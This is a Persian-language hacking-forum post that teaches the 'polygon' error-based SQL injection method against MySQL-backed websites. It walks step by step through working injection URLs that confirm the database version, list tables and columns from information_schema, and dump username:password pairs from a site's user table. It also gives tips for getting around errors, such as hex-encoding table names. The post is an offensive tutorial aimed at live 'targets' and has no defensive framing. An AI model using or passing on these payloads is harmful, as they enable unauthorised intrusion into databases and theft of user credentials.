رفتن به مطلب
بازگشایی انجمن! ×
GuardIran

پست های پیشنهاد شده

با سلام خدمت کاربران و مدیران انجمن گارد ایران

من  MR.MSA

در این پست قصد دارم متد polygon رو به شما آموزش بدهم . 

------------------------------------

یکی از کاربرد های متد polygon زمانی است که :‌

در یک تارگت  order+by و ... را زدید و تعداد تیبل ها را بدست اوردید 

و بعد خواستید تیبل ها را بیرون بکشید و با خطای 

error different number of columns

مواجه شدید می توانید از  متد polygon استفاده کنید .

 

یکی دیگر از کاربرد های متد polygon زمانی است که :‌

با خطای Unknown column “language’ in ‘field list’ مواجه می شوید می توانید از  متد polygon استفاده کنید . 

 

------------------------------------

سطح متد : حرفه ای 

------------------------------------

 

روش استفاده از متد polygon :‌

ابتدا مقدار را پاک کنید : 

site.com/news.php?id=1

( نکته : در سایت های که مثلا دو مقدار است آن مقدار را پاک می کنید که اسیب پذیر است و بعد مراحل را پیش می روید . )

--------------

سپس این عبارت را قرار می دهید : 

This is the hidden content, please
polygon((select*from(select*from(select@@version)f)x))

و اگر ورژن را به شما نمایش داد یعنی می توانید از متد polygon استفاده کنید . 

یک جورایی میشه گفت جای که version است ستون آسیب پذیره. 

--------------

خب حالا می رویم سراغ بیرون کشیدن تیبل ها : 

site.com/news.php/id=polygon((select*from(select*from(select@@group_concat(table_name) from information_schema.tables where table_schema=database())f)x))

قسمت های بنفش قسمت هایی هستند که تازه اضافه شده اند .

توجه داشته باشید که به دلایلی دو (( آخر دستور در جاهای دیگر قرار گرفته اند اما در نگاه به این شکل است ولی زمانی که شما این دستور را کپی کنید و به url تارگت اضافه کنید درست نمایش داده می شود . ( در تمامی دستورات به همین شکل است ،‌ پس نگران نباشید 😁)

--------------

(برای مثال تیبل مهمی که بدست می آوریم user است )

و حالا برای  بیرون کشیدن ستون های یک جدول  : 

 

site.com/news.php/id=polygon((select*from(select*from(select@@group_concat(column_name)+from+information_schema.columns+where+table_name=’user’)f)x))

قسمت های بنفش قسمت های جدید هستند و باید به جای user نام تیبل مهم خود را بنویسید(در کتیشن )

اگر با مشکل مواجه شدید دو کتیشن را بردارید و نام تیبل خود را به صورت hex بنویسید . 

--------------

و می مونه بیرون کشیدن اطلاعات ستون های مهم :

site.com.news.php/id=polygon((select*from(select*from(select@@group_concat(user,0x3a,pass) from ‘user’)f)x))

باید به جای user نام تیبل مهم خود را بنویسید(در کتیشن ) و به جای user و pass نام ستون مهم خود را بنویسید . 

اگر با مشکل مواجه شدید دو کتیشن را بردارید و نام تیبل خود را به صورت hex بنویسید . 

  ------------------------------------

امید وارم از این پست لذت کافی رو برده باشید و پست رو به خوبی تمام کرده باشم و اینکه در متد polygon یک نکته های مونده که باید بگویم 

برای پیچیده نشدن پست نگفتم و حتما در پست بعدی توضیح می دهم .

هر گونه سوال در مورد پست داشتید در قسمت سوال و جواب بپرسید .

 

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • ایجاد مورد جدید...